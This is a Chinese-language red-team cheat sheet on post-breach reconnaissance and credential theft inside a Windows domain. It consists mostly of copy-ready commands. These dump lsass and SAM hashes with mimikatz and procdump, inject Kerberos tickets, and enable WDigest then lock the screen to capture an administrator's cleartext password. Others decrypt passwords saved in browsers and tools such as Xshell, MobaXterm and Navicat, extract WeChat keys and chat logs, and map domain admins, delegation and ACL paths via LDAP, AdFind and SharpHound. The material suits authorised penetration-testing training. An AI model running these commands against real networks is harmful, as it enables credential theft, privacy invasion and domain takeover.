连载|红队知识体系梳理-域内信息收集
STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
通过打点、钓鱼拿下一台PC、服务器突破边界进入内网,先进行信息收集。包括但不限于:
1.网络、进程服务、用户、系统信息等2.文件,特别是当前用户目录等
3.主机凭证:包括kerberos票据、主机密码,RDP凭证 等
4.第三方程序:第三方终端管理程序凭证,浏览器记录和密码,数据库管理工具凭证,微信记录等
5.域信息:当前域名/域SID,域用户/域管用户/委派用户,域控机器/DNS服务机器/ADCS机器/exchange机器,LDAP记录/DNS记录,ACL/GPO,域信任关系等
网络相关
arp -a # 查看arp缓存表
route print # 路由表
netstat -ano # 查看网络连接
ipconfig /displaydns # 查看dns缓存
type c:\Windows\system32\drivers\etc\hosts # 查看hosts文件
tracert baidu.com # 通过跃点跟踪路由跳转信息
中间件和数据库配置文件
用户进程
ver # 查看系统版本
systeminfo # 查看系统配置
tasklist /svc # 查看正在运行的进程服务
tasklist /V /FO CSV # 详细进程
query user # 查看登录会话
net session # 列出本地计算机连接的客户端对话信息
whoami /all
net localgroup administrator
wmic product get name,version # 查询所有安装过的软件及版本
wmic service list brief # 查询当前机器的服务信息
凭据相关
一、主机票据
票据
klist # 查看当前用户缓存的票据凭证
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit # 导出lsass进程票据
mimikatz.exe "kerberos::ptt gold.kirbi" exit # 注入票据
mimikatz
RDP凭据
cmdkey /list # 查看当前用户保存的RDP凭证
dir /a %userprofile%\appdata\local\microsoft\credentials\* # 查找本地的Credentials
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" # rdp连接默认的10个记录
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s # 当前用户rdp连接历史li记录
1.使用Invoke-WCMDump脚本导出,不能导出域凭证
powershell -exec bypass Import-Module .\Invoke-WCMDump.ps1;Invoke-WCMDump
2.使用Mimikatz破解凭证
3.导出svchost进程内存查询密码明文
4.使用Mimikatz从已存在的RDP连接中导出凭据
mimikatz.exe "privilege::debug" "ts::logonpasswords" exit > log.txt
主机密码-读取lsass
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > log.txt
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
xiaomimi.exe 1
读取SAM
reg save hklm\sam sam.hive
reg save hklm\security security.hive
reg save hklm\system system.hive
mimikatz.exe "lsadump::sam /sam:sam.hive \security:hive.save" exit
python secretsdump.py -sam sam.hive -security security.hive -system system.hive LOCAL
安装KB2871997补丁后lsass不保存明文,手动开启Wdigest Auth后锁屏让管理员重新输密码,2012 r2后默认自带
# 开启Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
# 锁屏
rundll32 user32.dll,LockWorkStation
二、终端管理软件凭据
浏览器凭证记录
BrowserData.exe -b all -f json --dir C:\Users\Public\1\
HackBrowserData.exe # 会在当前目录下生成results目录
HackBrowserData
其他第三方终端管理工具
SharpDecryptPwd
# 支持Navicat,TeamViewer,FileZilla,Foxmail,TortoiseSVN,Chrome,RDCMan,SunLogin,WinSCP,Xmangager系列产品(Xshell,Xftp)
SharpDecryptPwd.exe --help
Xshell全版本导出
SharpXDecrypt
SharpXDecrypt.exe
how-does-MobaXterm-encrypt-password
1、注册表方式解密
reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P # 查询密码字段
reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm # 查询SessionP
reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\C # 查询凭证字段
# 存在主密码解密
ShowMobaXterm.exe 主密码 >1.txt
MobaXtermCipher.py dec -p 主密码 密文
# 不存在主密码解密
python MobaXtermCipher.py dec -sysh 机器主机名 -sysu 机器用户名 -h 密文对应ip -u 密文对应用户 密码密文 # 解密密码字段密文
python MobaXtermCipher.py dec -sp SessionP 凭证密文 # 解密凭证字段密文
2、配置文件保存方式解密
会保存在MobaXterm目录下的MobaXterm.ini文件,可以直接将MobaXterm.ini文件导出,替换配置文件导入本地MobaXterm
MobaXterm.ini中[passwords]字段为密码字段,SessionP字段是SessionP值数
# 存在主密码解密
MobaXtermCipher.py dec -p 主密码 密文
# 不存在主密码解密
python MobaXtermCipher.py dec -sysh 机器主机名 -sysu 机器用户名 -h 密文对应ip -u 密文对应用户 密码密文 # 解密密码字段密文
python MobaXtermCipher.py dec -sp SessionP 凭证密文 # 解密凭证字段密文
据库管理工具
Navicat
SharpDecryptPwd Navicat
三、中间件和数据库配置
查看中间件和数据库配置文件,收集密码形成密码字典进行后续凭证爆破
四、微信
微信记录
https://github.com/Ormicron/Sharp-dumpkey
导出微信密钥,需要微信在登录
Sharp-dumpkey.exe # 会生成DBPass.bin
导出聊天记录
C:\Users\test\Documents\WeChat Files\微信ID\Msg\MicroMsg.db
C:\Users\test\Documents\WeChat Files\微信ID\Msg\Multi\MSG*.db
chatViewTool
将密钥DBPass.bin和db数据库放在同目录下,用chatViewTool打开
域信息相关
一、基础信息
net group "domain admins" /domain # 查看域管用户
net group "Enterprise Admins" /do # 查看企业系统管理员组
net group "domain controllers" /domain # 查看域控制器组
net group "Exchange Servers" /do # 查看exchange组
net time /domain # 查看当前域的时间服务器
netdom query pdc # 查看主域控制器
nltest /domain_trusts # 查看域信任关系
net group "DnsAdmins" # 查看DNS组
net group "Organization Management" # 查看exchange管理组
net group "Schema Admins"
net group "Group Policy Creator Owners"
net group /domain # 查看当前域所有组
net user /domain # 查看当前域的所有域用户
net group "domain computers" /domain # 查看域机器组
net view /domain # 查看查看内网存在多少个域
net view /domain:qaq.com //查看QAQ.com域内的所有主机
net view # 查看当前域所有主机共享,既:存活主机名
net view \\192.168.1.1 # 查看指定机器的共享列表
net view \\主机名
net accounts /domain # 查看密码策略
net config workstation # 查看当前登录域
certutil -dump -v # ADcs服务
# 查看当前本地组。可能会配置域用户组加入当前机器的管理员组
net localgroup administrators
net localgroup users
# 使用安全帐户管理器远程API获取用户
python samrdump.py qaq.com/admin:Aa123456@192.168.10.250
# 使用impacket GetADUsers脚本从ldap获取域用户
python GetADUsers.py qaq.org/administrator:Aa123456 -dc-ip 192.168.11.250 -all
二、DNS记录
通过ldap查询dns记录
OU:
CN=MicrosoftDNS,DC=DomainDnsZones,DC=qaq,DC=com
objectClass:
dnsNode
adidnsdump
# 会在当前目录生成records.csv文件
adidnsdump ldap://192.168.10.250 -u qaq\test -p Aa123456 -r --dns-tcp # 代理远程执行
adidnsdump.exe ldap://192.168.10.250 -u qaq\test -p Aa123456 -r
SharpAdidnsdump
# 通过SharpAdidnsdump
SharpAdidnsdump.exe 192.168.10.250 > dbs.txt
powerview
powershell -exec bypass Import-Module .\powerview.ps1;"Get-DNSRecord -ZoneName qaq.com | select name,data > dns.txt"
通过dns域传送漏洞获取全部DNS解析记录
nslookup
server test.qaq.com # 设置dns
ls qaq.com # 列出记录
dig axfr @test.qaq.com qaq.com
三、关键机器探测
SNP
查询SPN收集重要服务定向攻击,例如:exchange服务、adcs服务
setspn -T domain.com -Q */* # 服务主体,使用Kerberos须为服务器注册SPN
自动化工具
cscript GetUserSPNs.vbs
定位域管机器/查询域账户和机器关系
1.查询域管组账户登录机器,定向攻击后拿域管凭证;
2.查询域控登录的会话session,定向攻击拿凭证登域控;
3.通过LDAP查询IT部门、运维人员、与靶标相关的部门人员,查询这些人员登录的机器,定向攻击;
通过查询机器的登录会话定位
通过远程注册表查询机器当前登录的用户会话,默认PC机器没有开启允许注册表远程连接
通过NetSessionEnum API查询当前访问机器网络资源的用户名称和来源IP
通过NetWkstaUserEnum API查询登录机器的所有用户,需要机器的管理员权限
SharpDomainSession
查询指定机器登录的用户、IPC会话
SharpDomainSession
通过远程注册表方式、NetSessionEnum API、NetWkstaUserEnum API查询域控机器登录的用户/IPC连接会话
# NetWkstaUserEnum API接口需要目标机器的访问权限
SharpDomainSession.exe test.qaq.com
psloggedon
psloggedon是微软PSTOOLS套件,查询指定机器登录会话,查询指定用户登录的机器
# 显示指定机器当前登录的用户和网络会话
psloggedon.exe \\test
# 显示指定用户当前登录的机器,通过遍历远程注册表方式。PC终端默认不允许远程注册表
psloggedon.exe administrator
pveFindADUser
会调用远程注册表方式、NetSessionEnum API、NetWkstaUserEnum API三种方式进行枚举所有机器登录的用户会话,枚举指定账户登录的机器,枚举指定机器登录的会话
ADFindUsersLoggedOn
# 枚举所有机器登录的账户
pveFindADUser.exe -current
# 枚举登录admin账户的机器
pveFindADUser.exe -current "qaq\admin"
# 枚举test机器当前登录的所有账户
pveFindADUser.exe -current -target test
# 不探测存活
pveFindADUser.exe -current -noping
# 查询test机当前最后一个登录的用户
pveFindADUser.exe -current -target test -last
netview
netview
只使用WinAPI 枚举所有机器登录会话和共享
# 枚举所有机器的共享,调用二个API接口查询机器登录的会话。需要机器的访问权限,一般用域管用户
netview.exe -d
# 指定从中提取主机列表的文件
netview.exe -f filename.txt -d
# 检查对已找到共享的访问权限
netview.exe -d -c
ldap定位
域账户绑定登录机器
查询域用户userWorkstations属性查询登录绑定机器
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "DC=qaq,DC=com" "(userWorkstations=*)" | grep -E "userWorkstations|sAMAccountName"
定位委派账户
约束/非约束委派:查询配置约束委派和非约束委派的服务账户/机器定向攻击,攻击成功后委派访问域控制器
资源委派:
1.查询重要机器(域控制器、委派权限机器、运维人员个人机等)的mS-DS-CreatorSID加域账户,定位攻击这些域账户,然后修改主机属性msDS-AllowedToActOnBehalfOfOtherIdentity配置资源约束委派获取权限;
2.获得域账户后,查询通过该账户加域的机器,然后修改主机属性msDS-AllowedToActOnBehalfOfOtherIdentity配置资源约束委派获得权限;
约束委派和非约束委派
powerview
# 查询非约束委派的主机
powershell -exec bypass Import-Module .\PowerView.ps1;"Get-NetComputer -Unconstrained -Domain qaq.com ">test.txt
# 查询非约束委派的服务账户
powershell -exec bypass Import-Module .\PowerView.ps1;"Get-NetUser -Unconstrained -Domain qaq.com ">test.txt
powershell -exec bypass Import-Module .\PowerView.ps1;"Get-NetComputer -Unconstrained -Domain qaq.com ";"Get-NetUser -Unconstrained -Domain qaq.com | select name">test.txt
Addend
# 查找域中配置非约束委派的服务用户
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查找域中配置非约束委派的主机
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查找域中配置约束委派服务用户:
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
# 查找域中配置约束委派的主机
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
ldapsearch linux kali自带
(注意-D是distinguishedname字段是账户的区别名称,和sAMAccountName登录账户名可能不一致)
# 查找域中配置非约束委派的用户
ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
# 查找域中配置非约束委派的主机
ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
# 查找域中配置约束委派服务用户
ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
# 查找域中配置约束委派的主机
ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w test123.. -b "DC=qaq,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
资源性约束委派(RBCD)
1.查询重要机器(域控制器、委派权限机器、运维人员个人机等)的mS-DS-CreatorSID加域账户,定向攻击这些域账户,修改主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity)配置资源委派获得权限;
2.获得域账户后,查询通过该账户加域的机器,修改主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity)配置资源委派获得权限;
注:2012 的域控才有这个特性,msDS-AllowedToActOnBehalfOfOtherIdentity属性
# 如果mS-DS-CreatorSID为空代表通过域管加入域环境
# 使用AdFind查询所有机器mS-DS-CreatorSID属性
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
AdFind.exe -h 192.168.10.250 -u admin -up Aa123456 -b "DC=qaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
# 使用AdFind查询指定机器mS-DS-CreatorSID属性
AdFind.exe -h 192.168.10.250 -u admin -up Aa123456 -b "CN=TEST4-WIN7,CN=Computers,DC=qaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
# 根据SID查询对应账户CN全名
AdFind.exe -b "DC=qaq,DC=com" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn
# 查询账户SID
AdFind.exe -b "DC=qaq,DC=com" -f "(sAMAccountName=admin)" objectSid
# 通过域账户SID查询使用该账户加域的机器
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory
域外定位域控制器
扫描88,389,636,3268,3269端口定位域控制器。88是kerberos认证端口,389是ldap服务端口,636是ldap tls服务端口
域外定位exchange机器
扫描25,443,465,587,2525端口
定位adcs
certutil -dump -v # 域内定位
https://github.com/ly4k/Certipy
certipy find "qaq.org/test:Aa123456@192.168.11.250" -debug # 域外定位
四、ACL
查看高权限目标对象的ACL安全访问控制列表,扩展到目标的攻击路径。通过间接攻击对应的DACL对象获取高权限目标权限
使用SharpHound分析acl
使用SharpHound分析高权限目标的acl INBOUND CONTROL RIGHTS 入站控制权限,查看可访问该目标的DACL
获取到一个用户/机器权限的时候,使用SharpHound分析该对象的ACL OUTBOUND OBJECT CONTROL 出站控制权限,查看该对象可访问的DACL
使用Invoke-ACLPwn分析不安全的acl
也是通过调用SharpHound功能模块分析
https://github.com/fox-it/Invoke-ACLPwn
可管控目标的acl:
AddMembers //可以将任何用户加入这个组,权限利用针对的对象为组对象
User-Force-Change-Password //更改目标用户的密码
DS-Replication-Get-Changes和 DS-Replication-Get-Changes-All //拥有dcsyns权限。利用针对的对象为域对象
GenericAll //授予目标对象的完全控制权。包括WriteDacl和WriteOwner特权。
GenericWrite //此权限能够更新目标对象的属性值
Self-Membership //某个账户能够把自身添加到对应组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)
WriteProperty //WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限
WriteOwner //对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限
WriteDacl //WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利
AllExtendedRights //拥有所有扩展权限。包括:User-Force-Change-Password权限、AddMember权限、GenericAll权限等
Full Control //具备所有权限
使用RACE利用acl获取特权
https://github.com/samratashok/RACE
五、GPO
GPP MS14-025漏洞,2012以上已修复。查询组策略是否配置了账户密码,XM文件中cpassword字段
PowerSploit项目Exfiltration模块
powershell -exec bypass -Command "&{import-module .\Get-GPPPassword.ps1;Get-GPPPassword -verbose}"
六、ldap分析
拿到域账户、域内有效凭证,通过ldap分析域信息
SharpHound
使用SharpHound分析域架构、信息
SharpHound
# 使用SharpHound分析ldap数据,执行后生成zip压缩包。注意.net版本限制
SharpHound.exe -c all --EncryptZip
powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound all"
SharpHound.exe -d qaq.com --DomainController test.qaq.com --LdapPort 389 --LdapUsername test --LdapPassword Aa123456 # 非域主机使用凭证
runas /netonly /user:qaq.com\admin cmd.exe # 使用runas指定当前凭证
将生成的zip压缩包导入BloodHound平台可视化分析
sudo neo4j start
bloodhound
ADExplorer
使用ADExplorer连接和导出LDAP数据库
ADExplorer.exe -snapshot "" result.dat /accepteula
ldapsearch
使用ldapsearch搜索LDAP
# 统计机器数量
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "DC=qaq,DC=com" "(sAMAccountType=805306369)"|grep dNSHostName | wc -l
# 统计用户数量
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "DC=qaq,DC=com" "(sAMAccountType=805306368)" | grep sAMAccountName | wc -l
# 查看域管
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Domain Admins,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Schema Admins,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Group Policy Creator Owners,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Enterprise Admins,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
# 查看受保护的对象
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "DC=qaq,DC=com" "(admincount=1)" | grep sAMAccountName
# 查看DnsAdmins组
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=DnsAdmins,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
# 查询域控制器
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "ou=domain controllers,DC=qaq,DC=com" | grep sAMAccountName
# 查询Exchange机器
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=qaq,DC=com" "(member=*)" | grep member
# 查询Exchange管理用户
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Organization Management,OU=Microsoft Exchange Security Groups,DC=qaq,DC=com" "(member=*)" | grep member
安恒信息
✦
杭州亚运会网络安全服务官方合作伙伴
成都大运会网络信息安全类官方赞助商
武汉军运会、北京一带一路峰会
青岛上合峰会、上海进博会
厦门金砖峰会、G20杭州峰会
支撑单位北京奥运会等近百场国家级
重大活动网络安保支撑单位
END
长按识别二维码关注我们